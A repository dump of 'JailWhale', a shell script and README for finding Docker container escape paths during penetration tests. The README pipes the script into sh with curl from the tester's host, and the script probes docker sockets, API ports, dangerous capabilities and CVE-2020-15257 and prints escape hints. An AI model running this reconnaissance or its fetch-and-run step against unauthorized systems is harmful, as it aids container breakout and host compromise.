├── doc └── JailWhale.png ├── README.md └── JailWhale.sh /doc/JailWhale.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eversinc33/JailWhale/HEAD/doc/JailWhale.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JailWhale 2 | 3 | Docker escape enumeration tool to be used when you end up in a docker container during a penetration test. I tried to minimize the dependencies, so a common linux-based system with `sh` should be able to run JailWhale. Further checks and methods to be added, when I encounter new techniques in CTFs (pull requests welcome). 4 | 5 | ### Usage 6 | 7 | ```bash 8 | # On your host 9 | python -m http.server 8080 10 | # In the container 11 | curl http://:8080/JailWhale.sh | sh 12 | ``` 13 | 14 | ### Sample Output 15 | 16 | 17 | 18 | ### TODO 19 | 20 | * More CVE-checks 21 | * More hints on exploiting capabilities 22 | * Add other techniques 23 | 24 | ### Credits 25 | Much love to https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout for documenting various techniques 26 | -------------------------------------------------------------------------------- /JailWhale.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | C=$(printf '\033') 4 | RED="${C}[0;31m" 5 | GREEN="${C}[1;32m" 6 | YELLOW="${C}[1;33m" 7 | BLUE="${C}[1;34m" 8 | GREY="${C}[0;90m" 9 | WHITE="${C}[1;37m" 10 | NC="${C}[0m" # No Colour 11 | 12 | heading() { echo "\n${WHITE}>>> ${1}${NC}";} 13 | log_grey() { echo "$GREY... ${1}$NC"; } 14 | log_g() { echo "$GREEN[+]$NC ${1}"; } 15 | log_y() { echo "$YELLOW[!]$NC ${1}"; } 16 | log_r() { echo "$RED[-]$NC ${1}"; } 17 | log_hint() { echo "$BLUE-->$NC ${1}"; } 18 | log() { echo " ${1}"; } 19 | 20 | echo "$WHITE" 21 | echo ' . ' 22 | echo ' ":" ' 23 | echo ' ___:____ |"\/"| ' 24 | echo ' ," `. \ / ' 25 | echo ' | O \___/ | ' 26 | echo "$BLUE ~^~^~^~^~^~^~^~^~^~^~^~^~$NC" 27 | echo "$WHITE JailWhale.sh $NC" 28 | echo '' 29 | sleep 1 30 | 31 | INODE_NUM=`ls -ali / | sed '2!d' |awk {'print $1'}` 32 | if [ "$INODE_NUM" -eq '2' ]; then 33 | log_y "You are ${WHITE}not${NC} in a container!" 34 | else 35 | log_g "You are in a container!" 36 | 37 | OS=$(cat /etc/os-release 2>/dev/null | grep PRETTY | cut -d'"' -f2) 38 | if [ "$OS" = "" ]; then 39 | # for some other distros 40 | OS=$(cat /etc/issue | cut -d'\' -f1) 41 | fi 42 | log_hint "${WHITE}OS: ${OS}${NC}" 43 | 44 | CONTAINER_ID=$(basename "$(cat /proc/1/cpuset)") 45 | SHORT_ID=$(echo $CONTAINER_ID | cut -c -12) 46 | LONG_ID=$(echo $CONTAINER_ID | cut -c 13-) 47 | log_hint "${WHITE}ID: ${SHORT_ID}${GREY}${LONG_ID}${NC}" 48 | fi 49 | sleep 1 50 | 51 | heading "Looking for docker executable" 52 | if [ $(which docker) ]; then 53 | log_g "docker executable exists at $WHITE$(which docker)$NC" 54 | log "You can try escaping by creating a container and mounting the host system$NC" 55 | 56 | # if not root 57 | if [ $(id -u) -ne 0 ]; then 58 | if id -nG "$(whoami)" | grep -qw "docker"; then 59 | log_g "You are part of the ${WHITE}docker${NC} group" 60 | else 61 | log_y "You are not part of the ${WHITE}docker${NC} group." 62 | log "Try running ${WHITE}sudo -l${NC} or escalate privileges to run docker." 63 | fi 64 | fi 65 | else 66 | log_y "No docker executable found" 67 | fi 68 | sleep 1 69 | 70 | heading "Looking for mounted docker socket" 71 | if [ -e /var/docker.sock ]; then 72 | log_g "Socket is mounted at ${GREEN}/var/docker.sock${NC}" 73 | log "You can call the docker-api using ${WHITE}curl --unix-socket${NC}" 74 | else 75 | DOCKER_SOCK=$(find / -name docker.sock 2>/dev/null) 76 | if ! [ -z $DOCKER_SOCK ]; then 77 | log_g "docker.sock is mounted at ${WHITE}${DOCKER_SOCK}${NC}" 78 | log "You can call the docker-api using ${WHITE}curl --unix-socket${NC}" 79 | fi 80 | fi 81 | sleep 1 82 | 83 | heading "Looking for docker api ports" 84 | PORTS="2375 2376" 85 | FOUND=0 86 | for PORT in $PORTS; do 87 | if nc -zv localhost $PORT 1>/dev/null 2>/dev/null; then 88 | log_g "Port ${WHITE}${PORT}${NC} open. might be a docker api port" 89 | FOUND=1 90 | fi 91 | done 92 | if ! [ $FOUND -eq 1 ]; then 93 | log_y "Port ${WHITE}2375${NC} and ${WHITE}2376${NC} are closed" 94 | log_hint "The api might be exposed on other ports." 95 | fi 96 | sleep 1 97 | 98 | heading "Looking for exploitable capabilities" 99 | if [ $(which capsh) ]; then 100 | CAPABILITIES="CAP_SYS_ADMIN CAP_SYS_PTRACE CAP_SYS_MODULE DAC_READ_SEARCH DAC_OVERRIDE CAP_SYS_RAWIO" 101 | for CAP in $CAPABILITIES; do 102 | if capsh --print | grep -i $CAP 1>/dev/null 2>/dev/null; then 103 | log_g "${WHITE}${CAP}${NC} capability is set" 104 | 105 | # TODO: more hints on capabilities 106 | if [ $CAP = "CAP_SYS_ADMIN" ]; then 107 | log_hint "Check filesystem for mountable host drives by running ${WHITE}fdisk -l${NC}" 108 | fi 109 | fi 110 | done 111 | else 112 | log_y "${WHITE}capsh${NC} not installed" 113 | fi 114 | sleep 1 115 | 116 | heading "Checking CVEs" 117 | echo "... Checking ${WHITE}CVE-2020-15257 (Abstract Shimmer)${NC}" 118 | if cat /proc/net/unix | grep 'containerd-shim' | grep '@'; then 119 | log_g "Container appears to be vulnerable!" 120 | else 121 | log_grey "Container does not appear to be vulnerable" 122 | fi 123 | # TODO CVE-2019-5736 124 | # TODO CVE-2019-14271 125 | # TODO CVE-2015-3631 126 | 127 | --------------------------------------------------------------------------------